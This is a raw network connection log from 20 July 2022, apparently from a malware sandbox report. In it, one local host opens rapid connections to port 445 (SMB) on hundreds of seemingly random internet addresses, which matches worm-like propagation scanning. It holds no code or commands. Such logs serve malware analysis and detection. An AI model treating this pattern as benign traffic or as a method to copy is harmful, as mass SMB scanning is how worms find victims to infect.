Jul 20, 2022 19:33:12.211750031 CEST	445	56567	213.142.151.92	192.168.2.7
Jul 20, 2022 19:33:12.211889029 CEST	56567	445	192.168.2.7	213.142.151.92
Jul 20, 2022 19:33:12.212095976 CEST	56567	445	192.168.2.7	213.142.151.92
Jul 20, 2022 19:33:12.263896942 CEST	445	56567	213.142.151.92	192.168.2.7
Jul 20, 2022 19:33:12.272186995 CEST	56567	445	192.168.2.7	213.142.151.92
Jul 20, 2022 19:33:12.273467064 CEST	56582	445	192.168.2.7	208.233.157.190
Jul 20, 2022 19:33:12.288589001 CEST	56586	445	192.168.2.7	50.207.10.162
Jul 20, 2022 19:33:12.288724899 CEST	56588	445	192.168.2.7	71.140.165.190
Jul 20, 2022 19:33:12.288726091 CEST	56589	445	192.168.2.7	105.38.178.138
Jul 20, 2022 19:33:12.288867950 CEST	56593	445	192.168.2.7	55.113.181.182
Jul 20, 2022 19:33:12.288985014 CEST	56595	445	192.168.2.7	172.17.181.203
Jul 20, 2022 19:33:12.311752081 CEST	56596	445	192.168.2.7	177.159.235.166
Jul 20, 2022 19:33:12.315380096 CEST	56601	445	192.168.2.7	21.242.152.169
Jul 20, 2022 19:33:12.317426920 CEST	56604	445	192.168.2.7	89.34.41.186
Jul 20, 2022 19:33:12.319025993 CEST	56606	445	192.168.2.7	181.82.44.242
Jul 20, 2022 19:33:12.323744059 CEST	445	56567	213.142.151.92	192.168.2.7
Jul 20, 2022 19:33:12.323955059 CEST	56567	445	192.168.2.7	213.142.151.92
Jul 20, 2022 19:33:12.348426104 CEST	56612	445	192.168.2.7	131.153.221.61
Jul 20, 2022 19:33:12.348596096 CEST	56613	445	192.168.2.7	72.97.15.123
Jul 20, 2022 19:33:12.375163078 CEST	445	56567	213.142.151.92	192.168.2.7
Jul 20, 2022 19:33:12.440031052 CEST	56616	445	192.168.2.7	213.142.151.93
Jul 20, 2022 19:33:12.463089943 CEST	445	56586	50.207.10.162	192.168.2.7
Jul 20, 2022 19:33:12.513031960 CEST	445	56612	131.153.221.61	192.168.2.7
Jul 20, 2022 19:33:12.513181925 CEST	56612	445	192.168.2.7	131.153.221.61
Jul 20, 2022 19:33:12.513369083 CEST	56612	445	192.168.2.7	131.153.221.61
Jul 20, 2022 19:33:12.573112965 CEST	445	56596	177.159.235.166	192.168.2.7
Jul 20, 2022 19:33:12.672472954 CEST	56618	445	192.168.2.7	121.3.139.28
Jul 20, 2022 19:33:12.677740097 CEST	445	56612	131.153.221.61	192.168.2.7
Jul 20, 2022 19:33:12.702404976 CEST	56619	445	192.168.2.7	51.158.189.81
Jul 20, 2022 19:33:12.734035969 CEST	56620	445	192.168.2.7	131.153.221.62
Jul 20, 2022 19:33:12.891660929 CEST	445	56620	131.153.221.62	192.168.2.7
Jul 20, 2022 19:33:12.891895056 CEST	56620	445	192.168.2.7	131.153.221.62
Jul 20, 2022 19:33:12.922859907 CEST	56620	445	192.168.2.7	131.153.221.62
Jul 20, 2022 19:33:12.933038950 CEST	56623	445	192.168.2.7	131.153.221.62
Jul 20, 2022 19:33:13.080307961 CEST	445	56620	131.153.221.62	192.168.2.7
Jul 20, 2022 19:33:13.080388069 CEST	445	56620	131.153.221.62	192.168.2.7
Jul 20, 2022 19:33:13.097726107 CEST	445	56623	131.153.221.62	192.168.2.7
Jul 20, 2022 19:33:13.097939968 CEST	56623	445	192.168.2.7	131.153.221.62
Jul 20, 2022 19:33:13.134448051 CEST	56623	445	192.168.2.7	131.153.221.62
Jul 20, 2022 19:33:13.137186050 CEST	56625	445	192.168.2.7	110.203.131.42
Jul 20, 2022 19:33:13.139427900 CEST	56628	445	192.168.2.7	183.145.17.17
Jul 20, 2022 19:33:13.140146971 CEST	56629	445	192.168.2.7	50.230.154.250
Jul 20, 2022 19:33:13.140826941 CEST	56630	445	192.168.2.7	8.231.158.18
Jul 20, 2022 19:33:13.143076897 CEST	56633	445	192.168.2.7	141.157.249.191
Jul 20, 2022 19:33:13.169912100 CEST	56586	445	192.168.2.7	50.207.10.162
Jul 20, 2022 19:33:13.170929909 CEST	56596	445	192.168.2.7	177.159.235.166
Jul 20, 2022 19:33:13.193603992 CEST	56640	445	192.168.2.7	201.246.46.111
Jul 20, 2022 19:33:13.193682909 CEST	56644	445	192.168.2.7	162.225.180.17
Jul 20, 2022 19:33:13.193752050 CEST	56646	445	192.168.2.7	28.184.86.137
Jul 20, 2022 19:33:13.249893904 CEST	56648	445	192.168.2.7	4.37.97.90
Jul 20, 2022 19:33:13.251590014 CEST	56651	445	192.168.2.7	198.56.37.64
Jul 20, 2022 19:33:13.252187967 CEST	56652	445	192.168.2.7	187.220.223.251
Jul 20, 2022 19:33:13.253768921 CEST	56655	445	192.168.2.7	219.239.123.198
Jul 20, 2022 19:33:13.288547993 CEST	56656	445	192.168.2.7	114.158.205.35
Jul 20, 2022 19:33:13.291209936 CEST	56659	445	192.168.2.7	21.121.99.149
Jul 20, 2022 19:33:13.292594910 CEST	56661	445	192.168.2.7	185.93.150.61
Jul 20, 2022 19:33:13.298896074 CEST	445	56623	131.153.221.62	192.168.2.7
Jul 20, 2022 19:33:13.344504118 CEST	445	56586	50.207.10.162	192.168.2.7
Jul 20, 2022 19:33:13.422770023 CEST	56670	445	192.168.2.7	44.191.229.254
Jul 20, 2022 19:33:13.424870968 CEST	56671	445	192.168.2.7	17.139.217.77
Jul 20, 2022 19:33:13.425136089 CEST	56672	445	192.168.2.7	42.48.112.183
Jul 20, 2022 19:33:13.425533056 CEST	56676	445	192.168.2.7	70.103.238.149
Jul 20, 2022 19:33:13.425724030 CEST	56678	445	192.168.2.7	32.125.195.128
Jul 20, 2022 19:33:13.425815105 CEST	56679	445	192.168.2.7	184.86.141.67
Jul 20, 2022 19:33:13.437742949 CEST	56686	445	192.168.2.7	128.32.30.196
Jul 20, 2022 19:33:13.438733101 CEST	56688	445	192.168.2.7	25.43.223.230
Jul 20, 2022 19:33:13.473059893 CEST	56690	445	192.168.2.7	135.68.120.45
Jul 20, 2022 19:33:13.474188089 CEST	56697	445	192.168.2.7	64.186.240.223
Jul 20, 2022 19:33:13.474395990 CEST	56701	445	192.168.2.7	158.182.46.251
Jul 20, 2022 19:33:13.531063080 CEST	56702	445	192.168.2.7	213.142.151.94
Jul 20, 2022 19:33:13.577476978 CEST	56704	445	192.168.2.7	45.60.207.14
Jul 20, 2022 19:33:13.583811998 CEST	445	56702	213.142.151.94	192.168.2.7
Jul 20, 2022 19:33:13.583959103 CEST	56702	445	192.168.2.7	213.142.151.94
Jul 20, 2022 19:33:13.584006071 CEST	56702	445	192.168.2.7	213.142.151.94
Jul 20, 2022 19:33:13.586086988 CEST	56705	445	192.168.2.7	213.142.151.94
Jul 20, 2022 19:33:13.595124960 CEST	445	56704	45.60.207.14	192.168.2.7
Jul 20, 2022 19:33:13.595326900 CEST	56704	445	192.168.2.7	45.60.207.14
Jul 20, 2022 19:33:13.595441103 CEST	56704	445	192.168.2.7	45.60.207.14
Jul 20, 2022 19:33:13.612822056 CEST	445	56704	45.60.207.14	192.168.2.7
Jul 20, 2022 19:33:13.612862110 CEST	445	56704	45.60.207.14	192.168.2.7
Jul 20, 2022 19:33:13.612879038 CEST	445	56704	45.60.207.14	192.168.2.7
Jul 20, 2022 19:33:13.613034010 CEST	56704	445	192.168.2.7	45.60.207.14
Jul 20, 2022 19:33:13.613157034 CEST	56704	445	192.168.2.7	45.60.207.14
Jul 20, 2022 19:33:13.613404989 CEST	56704	445	192.168.2.7	45.60.207.14
Jul 20, 2022 19:33:13.631043911 CEST	445	56704	45.60.207.14	192.168.2.7
Jul 20, 2022 19:33:13.631072044 CEST	445	56704	45.60.207.14	192.168.2.7
Jul 20, 2022 19:33:13.636408091 CEST	445	56702	213.142.151.94	192.168.2.7
Jul 20, 2022 19:33:13.636457920 CEST	445	56702	213.142.151.94	192.168.2.7
Jul 20, 2022 19:33:13.638572931 CEST	445	56705	213.142.151.94	192.168.2.7
Jul 20, 2022 19:33:13.638664007 CEST	56705	445	192.168.2.7	213.142.151.94
Jul 20, 2022 19:33:13.638803959 CEST	56705	445	192.168.2.7	213.142.151.94
Jul 20, 2022 19:33:13.682658911 CEST	56706	445	192.168.2.7	45.60.207.15
Jul 20, 2022 19:33:13.691325903 CEST	445	56705	213.142.151.94	192.168.2.7
Jul 20, 2022 19:33:13.699197054 CEST	445	56706	45.60.207.15	192.168.2.7
Jul 20, 2022 19:33:13.699421883 CEST	56706	445	192.168.2.7	45.60.207.15
Jul 20, 2022 19:33:13.699489117 CEST	56706	445	192.168.2.7	45.60.207.15
Jul 20, 2022 19:33:13.711833954 CEST	56707	445	192.168.2.7	45.60.207.15
Jul 20, 2022 19:33:13.716128111 CEST	445	56706	45.60.207.15	192.168.2.7
Jul 20, 2022 19:33:13.716264009 CEST	56706	445	192.168.2.7	45.60.207.15
Jul 20, 2022 19:33:13.728384972 CEST	445	56707	45.60.207.15	192.168.2.7
Jul 20, 2022 19:33:13.728563070 CEST	56707	445	192.168.2.7	45.60.207.15
Jul 20, 2022 19:33:13.728699923 CEST	56707	445	192.168.2.7	45.60.207.15
Jul 20, 2022 19:33:13.745037079 CEST	445	56707	45.60.207.15	192.168.2.7
Jul 20, 2022 19:33:13.745062113 CEST	445	56707	45.60.207.15	192.168.2.7
Jul 20, 2022 19:33:13.745093107 CEST	445	56707	45.60.207.15	192.168.2.7
Jul 20, 2022 19:33:13.745153904 CEST	56707	445	192.168.2.7	45.60.207.15
Jul 20, 2022 19:33:13.745235920 CEST	56707	445	192.168.2.7	45.60.207.15
Jul 20, 2022 19:33:13.745485067 CEST	56707	445	192.168.2.7	45.60.207.15
Jul 20, 2022 19:33:13.750345945 CEST	56709	445	192.168.2.7	121.3.139.29
Jul 20, 2022 19:33:13.763839006 CEST	445	56707	45.60.207.15	192.168.2.7
Jul 20, 2022 19:33:13.763864040 CEST	445	56707	45.60.207.15	192.168.2.7
Jul 20, 2022 19:33:13.788727045 CEST	56711	445	192.168.2.7	51.158.189.82
Jul 20, 2022 19:33:14.034605026 CEST	445	56709	121.3.139.29	192.168.2.7
Jul 20, 2022 19:33:14.034720898 CEST	56709	445	192.168.2.7	121.3.139.29
Jul 20, 2022 19:33:14.034848928 CEST	56709	445	192.168.2.7	121.3.139.29
Jul 20, 2022 19:33:14.036883116 CEST	56713	445	192.168.2.7	121.3.139.29
Jul 20, 2022 19:33:14.258742094 CEST	56717	445	192.168.2.7	132.231.170.20
Jul 20, 2022 19:33:14.258744955 CEST	56716	445	192.168.2.7	54.57.16.139
Jul 20, 2022 19:33:14.258825064 CEST	56720	445	192.168.2.7	75.206.225.45
Jul 20, 2022 19:33:14.258832932 CEST	56719	445	192.168.2.7	33.205.215.237
Jul 20, 2022 19:33:14.258968115 CEST	56721	445	192.168.2.7	185.210.109.29
Jul 20, 2022 19:33:14.259068966 CEST	56724	445	192.168.2.7	153.39.3.199
Jul 20, 2022 19:33:14.316546917 CEST	56733	445	192.168.2.7	159.63.211.108
Jul 20, 2022 19:33:14.318044901 CEST	56736	445	192.168.2.7	192.211.167.24
Jul 20, 2022 19:33:14.318599939 CEST	56737	445	192.168.2.7	125.208.142.169
Jul 20, 2022 19:33:14.318766117 CEST	445	56709	121.3.139.29	192.168.2.7
Jul 20, 2022 19:33:14.318788052 CEST	445	56709	121.3.139.29	192.168.2.7
Jul 20, 2022 19:33:14.321722984 CEST	445	56713	121.3.139.29	192.168.2.7
Jul 20, 2022 19:33:14.321821928 CEST	56713	445	192.168.2.7	121.3.139.29
Jul 20, 2022 19:33:14.321937084 CEST	56713	445	192.168.2.7	121.3.139.29
Jul 20, 2022 19:33:14.375857115 CEST	56740	445	192.168.2.7	189.229.163.176
Jul 20, 2022 19:33:14.379092932 CEST	56742	445	192.168.2.7	16.94.117.51
Jul 20, 2022 19:33:14.379275084 CEST	56743	445	192.168.2.7	222.174.179.218
Jul 20, 2022 19:33:14.379476070 CEST	56745	445	192.168.2.7	169.45.219.76
Jul 20, 2022 19:33:14.407166958 CEST	56747	445	192.168.2.7	136.63.196.111
Jul 20, 2022 19:33:14.408070087 CEST	56748	445	192.168.2.7	162.55.126.178
Jul 20, 2022 19:33:14.408233881 CEST	56753	445	192.168.2.7	5.101.117.247
Jul 20, 2022 19:33:14.454344034 CEST	445	56753	5.101.117.247	192.168.2.7
Jul 20, 2022 19:33:14.549990892 CEST	56761	445	192.168.2.7	215.200.144.144
Jul 20, 2022 19:33:14.551846981 CEST	56762	445	192.168.2.7	140.200.64.105
Jul 20, 2022 19:33:14.552777052 CEST	56763	445	192.168.2.7	111.167.245.98
Jul 20, 2022 19:33:14.565329075 CEST	56767	445	192.168.2.7	126.129.251.59
Jul 20, 2022 19:33:14.566416979 CEST	56769	445	192.168.2.7	168.231.143.9
Jul 20, 2022 19:33:14.566950083 CEST	56770	445	192.168.2.7	4.102.237.24
Jul 20, 2022 19:33:14.581923008 CEST	56775	445	192.168.2.7	117.250.184.75
Jul 20, 2022 19:33:14.582050085 CEST	56778	445	192.168.2.7	22.42.95.227
Jul 20, 2022 19:33:14.594742060 CEST	56782	445	192.168.2.7	7.150.103.110
Jul 20, 2022 19:33:14.609327078 CEST	56788	445	192.168.2.7	184.248.117.152
Jul 20, 2022 19:33:14.609549046 CEST	56792	445	192.168.2.7	171.62.16.156
Jul 20, 2022 19:33:14.609756947 CEST	445	56713	121.3.139.29	192.168.2.7
Jul 20, 2022 19:33:14.863359928 CEST	56795	445	192.168.2.7	51.158.189.83
Jul 20, 2022 19:33:15.154915094 CEST	56753	445	192.168.2.7	5.101.117.247
Jul 20, 2022 19:33:15.201984882 CEST	445	56753	5.101.117.247	192.168.2.7
Jul 20, 2022 19:33:15.377501011 CEST	56800	445	192.168.2.7	141.7.175.28
Jul 20, 2022 19:33:15.377592087 CEST	56801	445	192.168.2.7	30.167.152.186
Jul 20, 2022 19:33:15.377672911 CEST	56802	445	192.168.2.7	50.78.226.39
Jul 20, 2022 19:33:15.377789021 CEST	56804	445	192.168.2.7	56.7.219.65
Jul 20, 2022 19:33:15.377881050 CEST	56806	445	192.168.2.7	70.110.170.4
Jul 20, 2022 19:33:15.377904892 CEST	56805	445	192.168.2.7	22.146.218.185
Jul 20, 2022 19:33:15.454051018 CEST	56820	445	192.168.2.7	49.214.131.70
Jul 20, 2022 19:33:15.454066992 CEST	56818	445	192.168.2.7	215.229.110.41
Jul 20, 2022 19:33:15.454246998 CEST	56822	445	192.168.2.7	146.30.79.184
Jul 20, 2022 19:33:15.500039101 CEST	56823	445	192.168.2.7	25.160.84.80
Jul 20, 2022 19:33:15.502103090 CEST	56826	445	192.168.2.7	160.174.8.143
Jul 20, 2022 19:33:15.502775908 CEST	56827	445	192.168.2.7	162.86.161.93
Jul 20, 2022 19:33:15.503928900 CEST	56829	445	192.168.2.7	207.243.252.15
Jul 20, 2022 19:33:15.531034946 CEST	56831	445	192.168.2.7	132.242.137.35
Jul 20, 2022 19:33:15.533001900 CEST	56835	445	192.168.2.7	46.16.183.253
Jul 20, 2022 19:33:15.534030914 CEST	56837	445	192.168.2.7	75.178.175.134
Jul 20, 2022 19:33:15.673329115 CEST	56845	445	192.168.2.7	212.53.133.184
Jul 20, 2022 19:33:15.673388958 CEST	56846	445	192.168.2.7	132.225.143.112
Jul 20, 2022 19:33:15.673494101 CEST	56848	445	192.168.2.7	136.86.158.118
Jul 20, 2022 19:33:15.692323923 CEST	56854	445	192.168.2.7	124.236.139.187
Jul 20, 2022 19:33:15.692471027 CEST	56855	445	192.168.2.7	138.5.254.13
Jul 20, 2022 19:33:15.692506075 CEST	56856	445	192.168.2.7	8.117.200.5
Jul 20, 2022 19:33:15.704868078 CEST	56862	445	192.168.2.7	60.41.39.31
Jul 20, 2022 19:33:15.706098080 CEST	56859	445	192.168.2.7	205.82.130.140
Jul 20, 2022 19:33:15.718894005 CEST	56865	445	192.168.2.7	60.31.144.148
Jul 20, 2022 19:33:15.755043030 CEST	56871	445	192.168.2.7	210.87.224.210
Jul 20, 2022 19:33:15.755093098 CEST	56872	445	192.168.2.7	217.78.42.185
Jul 20, 2022 19:33:15.940166950 CEST	56879	445	192.168.2.7	51.158.189.84
Jul 20, 2022 19:33:16.527962923 CEST	56883	445	192.168.2.7	131.153.221.62
Jul 20, 2022 19:33:16.647870064 CEST	56885	445	192.168.2.7	194.44.191.60
Jul 20, 2022 19:33:16.649269104 CEST	56888	445	192.168.2.7	5.254.43.29
Jul 20, 2022 19:33:16.649810076 CEST	56889	445	192.168.2.7	185.159.136.4
Jul 20, 2022 19:33:16.650748014 CEST	56891	445	192.168.2.7	58.136.57.163
Jul 20, 2022 19:33:16.657155991 CEST	56903	445	192.168.2.7	161.32.190.56
Jul 20, 2022 19:33:16.657929897 CEST	56904	445	192.168.2.7	12.123.172.51
Jul 20, 2022 19:33:16.659300089 CEST	56906	445	192.168.2.7	20.166.95.211
Jul 20, 2022 19:33:16.660053015 CEST	56907	445	192.168.2.7	82.40.197.225
Jul 20, 2022 19:33:16.660814047 CEST	56908	445	192.168.2.7	166.136.49.196
Jul 20, 2022 19:33:16.661545992 CEST	56909	445	192.168.2.7	181.182.32.25
Jul 20, 2022 19:33:16.663224936 CEST	56911	445	192.168.2.7	199.160.60.115
Jul 20, 2022 19:33:16.663983107 CEST	56912	445	192.168.2.7	56.31.149.41
Jul 20, 2022 19:33:16.664871931 CEST	56913	445	192.168.2.7	139.137.128.106
Jul 20, 2022 19:33:16.668785095 CEST	56917	445	192.168.2.7	200.200.216.222
Jul 20, 2022 19:33:16.669523954 CEST	56918	445	192.168.2.7	195.35.53.92
Jul 20, 2022 19:33:16.674906969 CEST	56922	445	192.168.2.7	133.14.7.133
Jul 20, 2022 19:33:16.692339897 CEST	445	56883	131.153.221.62	192.168.2.7
Jul 20, 2022 19:33:16.692487001 CEST	56883	445	192.168.2.7	131.153.221.62
Jul 20, 2022 19:33:16.740528107 CEST	56883	445	192.168.2.7	131.153.221.62
Jul 20, 2022 19:33:16.742860079 CEST	56924	445	192.168.2.7	213.142.151.94
Jul 20, 2022 19:33:16.755577087 CEST	56932	445	192.168.2.7	45.60.207.15
Jul 20, 2022 19:33:16.772139072 CEST	445	56932	45.60.207.15	192.168.2.7
Jul 20, 2022 19:33:16.772295952 CEST	56932	445	192.168.2.7	45.60.207.15
Jul 20, 2022 19:33:16.772490978 CEST	56932	445	192.168.2.7	45.60.207.15
Jul 20, 2022 19:33:16.788855076 CEST	445	56932	45.60.207.15	192.168.2.7
Jul 20, 2022 19:33:16.788906097 CEST	445	56932	45.60.207.15	192.168.2.7
Jul 20, 2022 19:33:16.788919926 CEST	445	56932	45.60.207.15	192.168.2.7
Jul 20, 2022 19:33:16.788985014 CEST	56932	445	192.168.2.7	45.60.207.15
Jul 20, 2022 19:33:16.789057970 CEST	56932	445	192.168.2.7	45.60.207.15
Jul 20, 2022 19:33:16.789302111 CEST	56932	445	192.168.2.7	45.60.207.15
Jul 20, 2022 19:33:16.795461893 CEST	445	56924	213.142.151.94	192.168.2.7
Jul 20, 2022 19:33:16.795564890 CEST	56924	445	192.168.2.7	213.142.151.94
Jul 20, 2022 19:33:16.795995951 CEST	56924	445	192.168.2.7	213.142.151.94
Jul 20, 2022 19:33:16.807881117 CEST	445	56932	45.60.207.15	192.168.2.7
Jul 20, 2022 19:33:16.848531961 CEST	445	56924	213.142.151.94	192.168.2.7
Jul 20, 2022 19:33:16.890856981 CEST	56933	445	192.168.2.7	10.98.43.107
Jul 20, 2022 19:33:16.892347097 CEST	56935	445	192.168.2.7	196.34.200.167
Jul 20, 2022 19:33:16.894294977 CEST	56938	445	192.168.2.7	95.225.40.137
Jul 20, 2022 19:33:16.894964933 CEST	56939	445	192.168.2.7	7.37.102.79
Jul 20, 2022 19:33:16.895646095 CEST	56940	445	192.168.2.7	160.90.43.115
Jul 20, 2022 19:33:16.898164988 CEST	56944	445	192.168.2.7	128.75.41.46
Jul 20, 2022 19:33:16.898837090 CEST	56945	445	192.168.2.7	121.232.99.42
Jul 20, 2022 19:33:16.899529934 CEST	56946	445	192.168.2.7	177.189.59.5
Jul 20, 2022 19:33:16.904170036 CEST	56953	445	192.168.2.7	97.11.150.234
Jul 20, 2022 19:33:16.904975891 CEST	445	56883	131.153.221.62	192.168.2.7
Jul 20, 2022 19:33:16.910125017 CEST	56959	445	192.168.2.7	84.125.43.66
Jul 20, 2022 19:33:16.910890102 CEST	56960	445	192.168.2.7	145.159.253.121
Jul 20, 2022 19:33:16.995127916 CEST	56967	445	192.168.2.7	45.60.207.16
Jul 20, 2022 19:33:16.995888948 CEST	56968	445	192.168.2.7	131.153.221.63
Jul 20, 2022 19:33:16.996588945 CEST	56969	445	192.168.2.7	213.142.151.95
Jul 20, 2022 19:33:17.011820078 CEST	445	56967	45.60.207.16	192.168.2.7
Jul 20, 2022 19:33:17.011945009 CEST	56967	445	192.168.2.7	45.60.207.16
Jul 20, 2022 19:33:17.012110949 CEST	56967	445	192.168.2.7	45.60.207.16
Jul 20, 2022 19:33:17.028764963 CEST	445	56967	45.60.207.16	192.168.2.7
Jul 20, 2022 19:33:17.028832912 CEST	56967	445	192.168.2.7	45.60.207.16
Jul 20, 2022 19:33:17.049746037 CEST	445	56969	213.142.151.95	192.168.2.7
Jul 20, 2022 19:33:17.049932957 CEST	56969	445	192.168.2.7	213.142.151.95
Jul 20, 2022 19:33:17.110400915 CEST	56969	445	192.168.2.7	213.142.151.95
Jul 20, 2022 19:33:17.111778975 CEST	56971	445	192.168.2.7	51.158.189.85
Jul 20, 2022 19:33:17.112139940 CEST	56970	445	192.168.2.7	45.60.207.16
Jul 20, 2022 19:33:17.116249084 CEST	56973	445	192.168.2.7	213.142.151.95
Jul 20, 2022 19:33:17.128731966 CEST	445	56970	45.60.207.16	192.168.2.7
Jul 20, 2022 19:33:17.128875017 CEST	56970	445	192.168.2.7	45.60.207.16
Jul 20, 2022 19:33:17.134325027 CEST	445	56971	51.158.189.85	192.168.2.7
Jul 20, 2022 19:33:17.163037062 CEST	445	56969	213.142.151.95	192.168.2.7
Jul 20, 2022 19:33:17.163069010 CEST	445	56969	213.142.151.95	192.168.2.7
Jul 20, 2022 19:33:17.173940897 CEST	445	56973	213.142.151.95	192.168.2.7
Jul 20, 2022 19:33:17.174130917 CEST	56973	445	192.168.2.7	213.142.151.95
Jul 20, 2022 19:33:17.192502975 CEST	56970	445	192.168.2.7	45.60.207.16
Jul 20, 2022 19:33:17.195360899 CEST	56973	445	192.168.2.7	213.142.151.95
Jul 20, 2022 19:33:17.209136009 CEST	445	56970	45.60.207.16	192.168.2.7
Jul 20, 2022 19:33:17.209230900 CEST	445	56970	45.60.207.16	192.168.2.7
Jul 20, 2022 19:33:17.209295034 CEST	445	56970	45.60.207.16	192.168.2.7
Jul 20, 2022 19:33:17.209342003 CEST	56970	445	192.168.2.7	45.60.207.16
Jul 20, 2022 19:33:17.209455967 CEST	56970	445	192.168.2.7	45.60.207.16
Jul 20, 2022 19:33:17.209835052 CEST	56970	445	192.168.2.7	45.60.207.16
Jul 20, 2022 19:33:17.225990057 CEST	445	56970	45.60.207.16	192.168.2.7
Jul 20, 2022 19:33:17.226268053 CEST	445	56970	45.60.207.16	192.168.2.7
Jul 20, 2022 19:33:17.252964020 CEST	445	56973	213.142.151.95	192.168.2.7
Jul 20, 2022 19:33:17.653253078 CEST	56976	445	192.168.2.7	121.3.139.29
Jul 20, 2022 19:33:17.686433077 CEST	56971	445	192.168.2.7	51.158.189.85
Jul 20, 2022 19:33:17.711306095 CEST	445	56971	51.158.189.85	192.168.2.7
Jul 20, 2022 19:33:17.933849096 CEST	445	56976	121.3.139.29	192.168.2.7
Jul 20, 2022 19:33:17.934034109 CEST	56976	445	192.168.2.7	121.3.139.29
Jul 20, 2022 19:33:18.389659882 CEST	56971	445	192.168.2.7	51.158.189.85
Jul 20, 2022 19:33:18.412277937 CEST	445	56971	51.158.189.85	192.168.2.7
Jul 20, 2022 19:33:18.416491032 CEST	56976	445	192.168.2.7	121.3.139.29
Jul 20, 2022 19:33:18.439275026 CEST	56987	445	192.168.2.7	177.49.110.187
Jul 20, 2022 19:33:18.439697981 CEST	56989	445	192.168.2.7	125.10.241.151
Jul 20, 2022 19:33:18.439887047 CEST	56992	445	192.168.2.7	35.138.43.133
Jul 20, 2022 19:33:18.440012932 CEST	56993	445	192.168.2.7	51.23.86.129
Jul 20, 2022 19:33:18.440148115 CEST	56994	445	192.168.2.7	62.47.118.181
Jul 20, 2022 19:33:18.440325975 CEST	56996	445	192.168.2.7	128.180.239.214
Jul 20, 2022 19:33:18.440434933 CEST	56997	445	192.168.2.7	135.251.242.20
Jul 20, 2022 19:33:18.440568924 CEST	56998	445	192.168.2.7	11.137.80.253
Jul 20, 2022 19:33:18.440670013 CEST	56999	445	192.168.2.7	137.250.74.222
Jul 20, 2022 19:33:18.440849066 CEST	57001	445	192.168.2.7	33.41.34.202
Jul 20, 2022 19:33:18.441106081 CEST	57005	445	192.168.2.7	51.6.145.82
Jul 20, 2022 19:33:18.441204071 CEST	57006	445	192.168.2.7	98.99.62.251
Jul 20, 2022 19:33:18.441467047 CEST	57010	445	192.168.2.7	95.77.180.106
Jul 20, 2022 19:33:18.441576958 CEST	57011	445	192.168.2.7	92.118.169.0
Jul 20, 2022 19:33:18.441683054 CEST	57012	445	192.168.2.7	67.113.149.133
Jul 20, 2022 19:33:18.441889048 CEST	57015	445	192.168.2.7	63.235.252.20
Jul 20, 2022 19:33:18.634557962 CEST	57017	445	192.168.2.7	51.158.189.86
Jul 20, 2022 19:33:18.697531939 CEST	445	56976	121.3.139.29	192.168.2.7
Jul 20, 2022 19:33:18.772911072 CEST	57018	445	192.168.2.7	131.153.221.64
Jul 20, 2022 19:33:18.786947966 CEST	57024	445	192.168.2.7	12.32.36.224
Jul 20, 2022 19:33:18.788455963 CEST	57026	445	192.168.2.7	147.36.8.252
Jul 20, 2022 19:33:18.789875031 CEST	57028	445	192.168.2.7	168.88.106.135
Jul 20, 2022 19:33:18.791265011 CEST	57030	445	192.168.2.7	117.193.145.79
Jul 20, 2022 19:33:18.792903900 CEST	57032	445	192.168.2.7	15.172.231.41
Jul 20, 2022 19:33:18.793627024 CEST	57033	445	192.168.2.7	186.210.253.230
Jul 20, 2022 19:33:18.794316053 CEST	57034	445	192.168.2.7	6.70.22.0
Jul 20, 2022 19:33:18.887814999 CEST	57040	445	192.168.2.7	87.24.48.72
Jul 20, 2022 19:33:18.888519049 CEST	57041	445	192.168.2.7	183.101.87.149
Jul 20, 2022 19:33:18.892066002 CEST	57044	445	192.168.2.7	8.89.114.53
Jul 20, 2022 19:33:18.897581100 CEST	57052	445	192.168.2.7	197.82.143.230
Jul 20, 2022 19:33:19.010746002 CEST	57065	445	192.168.2.7	121.3.139.30
Jul 20, 2022 19:33:20.936511040 CEST	57066	445	192.168.2.7	45.60.207.16
Jul 20, 2022 19:33:20.953404903 CEST	445	57066	45.60.207.16	192.168.2.7
Jul 20, 2022 19:33:20.953546047 CEST	57066	445	192.168.2.7	45.60.207.16
Jul 20, 2022 19:33:20.957247019 CEST	57066	445	192.168.2.7	45.60.207.16
Jul 20, 2022 19:33:20.958106995 CEST	57067	445	192.168.2.7	213.142.151.95
Jul 20, 2022 19:33:20.973985910 CEST	445	57066	45.60.207.16	192.168.2.7
Jul 20, 2022 19:33:20.974024057 CEST	445	57066	45.60.207.16	192.168.2.7
Jul 20, 2022 19:33:20.974040985 CEST	445	57066	45.60.207.16	192.168.2.7
Jul 20, 2022 19:33:20.974205017 CEST	57066	445	192.168.2.7	45.60.207.16
Jul 20, 2022 19:33:20.991858959 CEST	57069	445	192.168.2.7	51.158.189.87
Jul 20, 2022 19:33:20.992105007 CEST	57066	445	192.168.2.7	45.60.207.16
Jul 20, 2022 19:33:20.992332935 CEST	57066	445	192.168.2.7	45.60.207.16
Jul 20, 2022 19:33:21.008719921 CEST	445	57066	45.60.207.16	192.168.2.7
Jul 20, 2022 19:33:21.008754015 CEST	445	57066	45.60.207.16	192.168.2.7
Jul 20, 2022 19:33:21.010040998 CEST	445	57067	213.142.151.95	192.168.2.7
Jul 20, 2022 19:33:21.010196924 CEST	57067	445	192.168.2.7	213.142.151.95
Jul 20, 2022 19:33:21.015444040 CEST	445	57069	51.158.189.87	192.168.2.7
Jul 20, 2022 19:33:21.076181889 CEST	57067	445	192.168.2.7	213.142.151.95
Jul 20, 2022 19:33:21.133626938 CEST	445	57067	213.142.151.95	192.168.2.7
Jul 20, 2022 19:33:21.284094095 CEST	57070	445	192.168.2.7	131.153.221.65
Jul 20, 2022 19:33:21.290390968 CEST	57071	445	192.168.2.7	121.3.139.31
Jul 20, 2022 19:33:21.290580034 CEST	57073	445	192.168.2.7	179.244.218.120
Jul 20, 2022 19:33:21.290683985 CEST	57074	445	192.168.2.7	149.19.149.236
Jul 20, 2022 19:33:21.290904045 CEST	57078	445	192.168.2.7	130.19.82.132
Jul 20, 2022 19:33:21.291023016 CEST	57079	445	192.168.2.7	14.223.215.58
Jul 20, 2022 19:33:21.291300058 CEST	57083	445	192.168.2.7	78.185.91.34
Jul 20, 2022 19:33:21.291446924 CEST	57085	445	192.168.2.7	24.189.177.212
Jul 20, 2022 19:33:21.291558027 CEST	57086	445	192.168.2.7	99.14.243.228
Jul 20, 2022 19:33:21.291672945 CEST	57087	445	192.168.2.7	1.19.64.25
Jul 20, 2022 19:33:21.291780949 CEST	57088	445	192.168.2.7	63.92.165.214
Jul 20, 2022 19:33:21.291940928 CEST	57090	445	192.168.2.7	218.250.248.97
Jul 20, 2022 19:33:21.292037010 CEST	57091	445	192.168.2.7	28.14.112.216
Jul 20, 2022 19:33:21.292146921 CEST	57092	445	192.168.2.7	192.77.158.27
